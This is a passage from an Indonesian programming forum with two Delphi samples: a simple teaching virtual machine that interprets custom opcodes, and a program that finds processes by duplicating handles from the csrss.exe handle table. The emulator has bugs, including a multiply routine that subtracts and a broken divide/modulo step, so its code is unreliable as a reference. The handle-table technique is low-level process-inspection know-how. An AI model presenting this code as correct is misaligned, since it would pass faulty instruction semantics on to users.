Virtual Machine atau Mesin Virtual atau Emulator adalah mesin yang mengeksekusi code sesuai apa yang dilakukan mesin asli (real Cpu). Dalam Pengeksekusian kode pada real cpu  yang dilakukan adalah fetching (mengambil/menarik data misal opcode) dan melakukan eksekusi berdasarkan opcode, nah hall inilah yang dilakukan oleh virtual machine. Ada banyak opcode dan tentu saja korelasinya dengan register, flag dan lain2 (silahkan baca2 buku assembly biar jelasnya).

Tujuan dari pembuatan sample itu karena kurangnya contoh dan penjelasan tentang teknologi virtualmachine or emulator, semoga berguna dan memberikan penjelasan tentang dunia virtualization itu sendiri. Oh ya Code dibawah tentu saja tidak bisa dikatakan virtual machine yang bagus, selain belum mencakup semua execution opcode, cpuflag, jump+, juga belum ada virtualmemory (bagi yang ingin buat emulator). Tapi gak papalah namanya juga sample, iya nda sih ?.  Oh ya here u go codenya

Kode: [Pilih]
program vmtest;

uses
  Windows, sysutils, codesitelogging;

const
// Registers
 REGISTER_EAX = 0;
 REGISTER_ECX = 1;
 REGISTER_EDX = 2;
 REGISTER_EBX = 3;
 REGISTER_ESP = 4;
 REGISTER_EBP = 5;
 REGISTER_ESI = 6;
 REGISTER_EDI = 7;
 REGISTER_NOP = 8;


Type
  PVMCONTEXT = ^TVMCONTEXT;
  TVMCONTEXT = record
    _Eip: DWord;
    Reg: array [0..7] of DWord;  //EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI
  end;

  TINST = Record
    op: string;
    Func: Procedure (c: PVMCONTEXT);
  end;

procedure Addcode(c: PVMCONTEXT; n : byte);
begin
  inc(c^._eip, n);
end;

Procedure VRetN(c: PVMCONTEXT);
begin
  codesite.Send('eax', c^.Reg[REGISTER_EAX]);
end;

Procedure VJmp(c: PVMCONTEXT);
var
  imm32 : DWord;
begin
  inc(c^._eip);
  imm32 := PDword(c^._eip)^;
  c^._eip := imm32;
end;

Procedure VPUSHImm(c: PVMCONTEXT);
var
  imm32 : DWord;
begin
  inc(c^._eip);
  imm32 := PDword(c^._eip)^;
  Addcode(c,4);
  PDword(c^.Reg[REGISTER_ESP])^ := imm32;
  inc(c^.Reg[REGISTER_ESP], 4);
end;

Procedure VPUSHReg(c: PVMCONTEXT);
var
  regflag: Byte;
  imm32 : DWord;
begin
  inc(c^._eip);
  regflag := pByte(c^._eip)^;
  Addcode(c,1);
  if( regflag < 8 ) then begin
    imm32 := c^.Reg[regflag];
    PDword(c^.Reg[REGISTER_ESP])^ := imm32;
    inc(c^.Reg[REGISTER_ESP], 4);
  end else begin
    codesite.senderror('VPUSHReg');
  end;
end;

Procedure VPUSHMem(c: PVMCONTEXT);
var
  mem32 : DWord;
  imm32 : DWord;
begin
  inc(c^._eip);
  mem32 := PDword(c^._eip)^;
  imm32 := PDword(mem32)^;
  Addcode(c, 4);
  PDword(c^.Reg[REGISTER_ESP])^ := imm32;
  inc(c^.Reg[REGISTER_ESP], 4);
end;

Procedure VPOPReg(c: PVMCONTEXT);
var
  regflag: Byte;
  imm32 : DWord;
begin
  inc(c^._eip);
  regflag := pByte(c^._eip)^;
  Addcode(c,1);
  if( regflag < 8 ) then begin
    imm32 := PDword(c^.Reg[REGISTER_ESP])^;
    dec(c^.Reg[REGISTER_ESP], 4);
    c^.Reg[regflag] := imm32;
  end;
end;

Procedure VPOPMem(c: PVMCONTEXT);
var
  imm32 : DWord;
  mem32 : DWord;
begin
  imm32 := PDword(c^.Reg[REGISTER_ESP])^;
  dec(c^.Reg[REGISTER_ESP], 4);
  mem32 := PDword(c^._eip)^;
  Addcode(c, 4);
  PDword(mem32)^ := imm32;
end;

procedure VMovRegReg(c: PVMCONTEXT);
var
  DestReg, SrcReg: Byte;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  SrcReg := pByte(c^._eip)^;
  Addcode(c,1);
  if( DestReg < 8 ) and ( SrcReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[SrcReg];
  end else begin
    codesite.senderror('VMovRegReg');
  end;
end;

procedure VMovRegImm(c: PVMCONTEXT);
var
  DestReg: Byte;
  imm32: DWord;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  imm32 := PDword(c^._eip)^;
  Addcode(c,4);
  if( DestReg < 8 ) then begin
    c^.Reg[DestReg] := imm32;
  end else begin
    codesite.senderror('VMovRegImm');
  end;
end;

procedure VMovRegMem(c: PVMCONTEXT);
var
  DestReg: Byte;
  mem32: DWord;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  mem32 := PDword(c^._eip)^;
  Addcode(c,4);
  if( DestReg < 8 ) then begin
    c^.Reg[DestReg] := PDword(mem32)^;
  end else begin
    codesite.senderror('VMovRegMem');
  end;
end;

procedure VADDRegReg(c: PVMCONTEXT);
var
  DestReg, SrcReg: Byte;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  SrcReg := pByte(c^._eip)^;
  Addcode(c,1);
  if( DestReg < 8 ) and ( SrcReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] +  c^.Reg[SrcReg];
  end else begin
    codesite.senderror('VADDRegReg');
  end;
end;

procedure VADDRegImm(c: PVMCONTEXT);
var
  DestReg: Byte;
  imm32: DWord;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  imm32 := PDword(c^._eip)^;
  Addcode(c,4);
  if( DestReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] + imm32;
  end else begin
    codesite.senderror('VADDRegImm');
  end;
end;

procedure VADDRegMem(c: PVMCONTEXT);
var
  DestReg: Byte;
  mem32: DWord;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  mem32 := PDword(c^._eip)^;
  Addcode(c,4);
  if( DestReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] + PDword(mem32)^;
  end else begin
    codesite.senderror('VADDRegMem');
  end;
end;

procedure VSUBRegReg(c: PVMCONTEXT);
var
  DestReg, SrcReg: Byte;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  SrcReg := pByte(c^._eip)^;
  Addcode(c,1);
  if( DestReg < 8 ) and ( SrcReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] -  c^.Reg[SrcReg];
  end else begin
    codesite.senderror('VSUBRegReg');
  end;
end;

procedure VSUBRegImm(c: PVMCONTEXT);
var
  DestReg: Byte;
  imm32: DWord;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  imm32 := PDword(c^._eip)^;
  Addcode(c,4);
  if( DestReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] - imm32;
  end else begin
    codesite.senderror('VSUBRegImm');
  end;
end;

procedure VSUBRegMem(c: PVMCONTEXT);
var
  DestReg: Byte;
  mem32: DWord;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  mem32 := PDword(c^._eip)^;
  Addcode(c,4);
  if( DestReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] - PDword(mem32)^;
  end else begin
    codesite.senderror('VSUBRegMem');
  end;
end;

procedure VMulEaxReg(c: PVMCONTEXT);
var
  SrcReg: Byte;
begin
  inc(c^._eip);
  SrcReg := pByte(c^._eip)^;
  Addcode(c,1);
  if ( SrcReg < 8 ) then begin
    c^.Reg[REGISTER_EAX] := c^.Reg[REGISTER_EAX] -  c^.Reg[SrcReg];
  end else begin
    codesite.senderror('VMulEaxReg');
  end;
end;

procedure VDivEaxReg(c: PVMCONTEXT);
var
  SrcReg: Byte;
begin
  inc(c^._eip);
  SrcReg := pByte(c^._eip)^;
  Addcode(c,1);
  if ( SrcReg < 8 ) then begin
    c^.Reg[REGISTER_EAX] := c^.Reg[REGISTER_EAX] div c^.Reg[SrcReg];
    c^.Reg[REGISTER_EDX] := c^.Reg[REGISTER_EAX] mod c^.Reg[SrcReg]
  end else begin
    codesite.senderror('VDivEaxReg');
  end;
end;

procedure VAndRegReg(c: PVMCONTEXT);
var
  DestReg, SrcReg: Byte;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  SrcReg := pByte(c^._eip)^;
  Addcode(c,1);
  if( DestReg < 8 ) and ( SrcReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] and  c^.Reg[SrcReg];
  end else begin
    codesite.senderror('VAndRegReg');
  end;
end;

procedure VAndRegImm(c: PVMCONTEXT);
var
  DestReg: Byte;
  imm32: DWord;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  imm32 := PDword(c^._eip)^;
  Addcode(c,4);
  if( DestReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] And imm32;
  end else begin
    codesite.senderror('VAndRegImm');
  end;
end;

procedure VAndRegMem(c: PVMCONTEXT);
var
  DestReg: Byte;
  mem32: DWord;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  mem32 := PDword(c^._eip)^;
  Addcode(c,4);
  if( DestReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] And PDword(mem32)^;
  end else begin
    codesite.senderror('VAndRegMem');
  end;
end;

procedure VORRegReg(c: PVMCONTEXT);
var
  DestReg, SrcReg: Byte;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  SrcReg := pByte(c^._eip)^;
  Addcode(c,1);
  if( DestReg < 8 ) and ( SrcReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] or  c^.Reg[SrcReg];
  end else begin
    codesite.senderror('VORRegReg');
  end;
end;

procedure VORRegImm(c: PVMCONTEXT);
var
  DestReg: Byte;
  imm32: DWord;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  imm32 := PDword(c^._eip)^;
  Addcode(c,4);
  if( DestReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] Or imm32;
  end else begin
    codesite.senderror('VORRegImm');
  end;
end;

procedure VORRegMem(c: PVMCONTEXT);
var
  DestReg: Byte;
  mem32: DWord;
begin
  inc(c^._eip);
  DestReg := pByte(c^._eip)^;
  Addcode(c,1);
  mem32 := PDword(c^._eip)^;
  Addcode(c,4);
  if( DestReg < 8 ) then begin
    c^.Reg[DestReg] := c^.Reg[DestReg] or PDword(mem32)^;
  end else begin
    codesite.senderror('VORRegMem');
  end;
end;

const
  inst_table1 : array [0..23] of TINST =(
    {00}(op: 'Retn'; Func: VRetN),
    {01}(op: 'Jump'; Func: VJmp),
    {02}(op: 'PUSHIm'; Func: VPUSHImm),
    {03}(op: 'PUSHReg'; Func: VPUSHReg),
    {04}(op: 'PUSHMem'; Func: VPUSHMem),
    {05}(op: 'POPReg'; Func: VPOPReg),
    {06}(op: 'POPMem'; Func: VPOPMem),
    {07}(op: 'MovRegReg'; Func: VMovRegReg),
    {08}(op: 'MovRegImm'; Func: VMovRegImm),
    {09}(op: 'MovRegMem'; Func: VMovRegMem),
    {10}(op: 'ADDRegReg'; Func: VADDRegReg),
    {11}(op: 'ADDRegImm'; Func: VADDRegImm),
    {12}(op: 'ADDRegMem'; Func: VADDRegMem),
    {13}(op: 'SUBRegReg'; Func: VSUBRegReg),
    {14}(op: 'SUBRegImm'; Func: VSUBRegImm),
    {15}(op: 'SUBRegMem'; Func: VSUBRegMem),
    {16}(op: 'MulEaxReg'; Func: VMulEaxReg),
    {17}(op: 'DivEaxReg'; Func: VDivEaxReg),
    {18}(op: 'ANDRegReg'; Func: VANDRegReg),
    {19}(op: 'ANDRegImm'; Func: VANDRegImm),
    {20}(op: 'ANDRegMem'; Func: VANDRegMem),
    {21}(op: 'ORRegReg'; Func: VORRegReg),
    {22}(op: 'ORRegImm'; Func: VORRegImm),
    {23}(op: 'ORRegMem'; Func: VORRegMem)
  );

Function ExecuteVM(Code: Pointer; Size: DWord):TVMCONTEXT;
var
  Ins: TINST;
  Op: Byte;
  Stack: Pointer;
begin
  with result do begin

    {Setup Machine}
    for op:= 0 to 7 do Reg[op] := 0;

    GetMem(Stack, 1024*1024*2);
    Reg[REGISTER_ESP] := DWord(Stack);

    _eip := DWord(Code);

    {Execute Cycle}
    while (_eip <= (DWord(Code)+Size) -1 ) do begin
      Op := pByte(_eip)^;
      Ins := inst_table1[Op];
      codesite.Send('%s / %s', [inttohex(Op, 2), Ins.op]);
      Ins.Func(@result);
      if (Op = 0) then exit;
    end;

    FreeMem(Stack, 1024*1024*2);
  end;
end;

const
 Temp:Array [0..12] of byte =(
   $08,$00,$05,$00,$00,$00,   //mov     eax, 5
   $0B,$00,$05,$00,$00,$00,  //add     eax, 5
   $00                       //ret
);     

begin
  ExecuteVM(@temp[0], sizeof(temp));
end.


silahkan comment kalau ada yang kurang dimengerti or ada saran buat kodenya.. kan lumayan tuh kalau di diskusiin ;)..

directlink : http://cybercoding.wordpress.com/2011/09/17/delphi-simple-code-virtualization-virtual-machine-emulator/

10
Delphi/Pascal / [Delphi] Process Detection - Handle Table Enumeration
« pada: Agustus 21, 2011, 10:06:10 PM »
just some code requested for detect process by handle table enumeration..


Kode: [Pilih]
program check;


uses
  windows, sysutils, codesitelogging,
  JwaNative,
  JwaNtStatus,
  JwaWinType;

Function GetInformation(Table:SYSTEM_INFORMATION_CLASS):Pointer;
var
  mSize: dword;
  mPtr: pointer;
  St: LongInt;
begin
  result := nil;
  mSize := $4000;
  repeat
    GetMem(mPtr, mSize);
    St := ZwQuerySystemInformation(Table, mPtr, mSize, nil);
    if (St = STATUS_INFO_LENGTH_MISMATCH) then begin
      FreeMem(mPtr);
      mSize := mSize * 2;
    end;
  until St <> STATUS_INFO_LENGTH_MISMATCH;
  if (St = STATUS_SUCCESS) then result := mPtr
  else FreeMem(mPtr);
end;

Function GetObjectInfo(Handle:THandle; Table: TObjectInformationClass):Pointer;
var
  mSize: dword;
  mPtr: pointer;
  St: NTStatus;
begin
  result := nil;
  ZwQueryObject(Handle, Table, nil, 1000, @mSize);
  GetMem(mPtr, mSize);
  st:=ZwQueryObject(Handle, Table, mPtr, mSize, nil);
  if (St = STATUS_SUCCESS) then result := mPtr
  else FreeMem(mPtr);
end;

function NtSuccess(AStatus: LongInt): Boolean;
var
  error : DWord;
begin
  Result := AStatus >= 0;
  if not result then begin
    error := RtlNtStatusToDosError(AStatus);
    SetLastError(error);
  end;
end;

function ExOpenProcess(dwDesiredAccess: DWord; Id : DWord):THANDLE;
var
  hProcess: THANDLE;
  attr: OBJECT_ATTRIBUTES;
  cli: CLIENT_ID;
begin
  InitializeObjectAttributes(@attr, nil, 0, 0, nil);
  cli.UniqueProcess := THandle(Id);
  cli.UniqueThread := 0;
  result := 0;
  if NtSuccess(ZwOpenProcess(@hProcess, dwDesiredAccess, @attr, @cli)) then result := hProcess
end;

type
  PSYSTEM_HANDLE_INFORMATION_EX = ^SYSTEM_HANDLE_INFORMATION_EX;
  SYSTEM_HANDLE_INFORMATION_EX = packed record
    NumberOfHandles: dword;
    Information: array [0..0] of SYSTEM_HANDLE_INFORMATION;
  end;

  PROCESS_BASIC_INFORMATION = record
    ExitStatus: Cardinal;
    PebBaseAddress: PVOID;
    AffinityMask: Cardinal;
    BasePriority: Cardinal;
    UniqueProcessId: Cardinal;
    InheritedFromUniqueProcessId: Cardinal;
  end;
  TProcessBasicInformation = PROCESS_BASIC_INFORMATION;
  PProcessBasicInformation = ^TProcessBasicInformation;

var
  CsrID : Array Of DWORD;

Function ThisCsr(ProcID :DWORD):Boolean;
var
  i : Integer;
begin
  result := false;
  for i := 0 to length(CsrID)-1 do begin
    if (ProcID = CsrID[i]) then begin
       result := true;
       exit;
    end;
  end;
end;

function GetPIDByProcess (ph : Thandle):DWord;
var
  PBI           : PROCESS_BASIC_INFORMATION;
begin
  result := 0;

  {Get PROCESS_BASIC_INFORMATION}
  if not NtSuccess(ZwQueryInformationProcess(ph, ProcessBasicInformation, @PBI, SizeOf(PBI), nil)) then begin
    codesite.SendWinError('Failed Get PROCESS BASIC INFORMATION',Getlasterror);
    exit;
  end;

  result := PBI.UniqueProcessId;
end;

procedure GetCsrProc;
var
  buffer:   Pointer;
  pInfo:    PSYSTEM_PROCESSES;
begin

  { Get SystemProcessesAndThreads Information }
  buffer := GetInformation(SystemProcessesAndThreadsInformation);
  if not assigned(buffer) then begin
    {$IFDEF DebugMode}OutputDebugString(Pchar('Failed Get SystemProcessesAndThreadsInformation : '+SysErrorMessage(Getlasterror)));{$ENDIF}
    exit;
  end;
  pInfo := PSystemProcesses(buffer);

  try
    { Enum All Info }
    repeat

      { check if this our target }
      if CompareText(PInfo^.ProcessName.Buffer, 'csrss.exe') = 0 then begin
        setlength(CsrID, Length(CsrID)+1);
        CsrID[length(CsrID)-1] := pInfo^.ProcessId;
      end;

      { Next Info }
      if pInfo^.NextEntryDelta = 0 then break;
      pInfo := pointer(dword(pInfo) + pInfo^.NextEntryDelta);
    until false;
  finally
    FreeMem(buffer);
  end;
end;

Procedure CheckCsr;
var
  ph,ih:  THANDLE;
  Info:   PSYSTEM_HANDLE_INFORMATION_EX;
  i:      Integer;
begin

  Info := GetInformation(JwaNative.SystemHandleInformation);
  if not assigned(Info) then begin
    codesite.SendWinError('GetInformation', GetLastError);
    Exit;
  end;

  try
    { Enum All Info }
    for i := 0 to Info^.NumberOfHandles do begin

      if ThisCsr(info^.Information[i].ProcessId) and
         (info^.Information[i].ObjectTypeNumber = 5) then begin

        ph := INVALID_HANDLE_VALUE;
        ih := INVALID_HANDLE_VALUE;

        ph := ExOpenProcess(PROCESS_DUP_HANDLE , info^.Information[i].ProcessId);
        if (ph = INVALID_HANDLE_VALUE) then begin
          codesite.SendWinError('Openhandle', GetLastError);
          continue;
        end;

        if not NtSuccess(ZwDuplicateObject(ph, info^.Information[i].Handle, GetCurrentProcess, @ih, 0, 0, DUPLICATE_SAME_ACCESS)) then begin
          ZwClose(ph);
          codesite.SendWinError('ZwDuplicateObject', GetLastError);
          continue;
        end;

        codesite.Send('PID', GetPIDByProcess(ih));

        ZwClose(ph);
        ZwClose(ih);
      end;

    end;
  finally
    FreeMem(Info);
  end;

end;

begin
  GetCsrProc;
  CheckCsr;
end.

directlink http://cybercoding.wordpress.com/2011/08/20/delphi-process-detection-handle-table-enumeration/#more-76

Halaman: [1] 2 3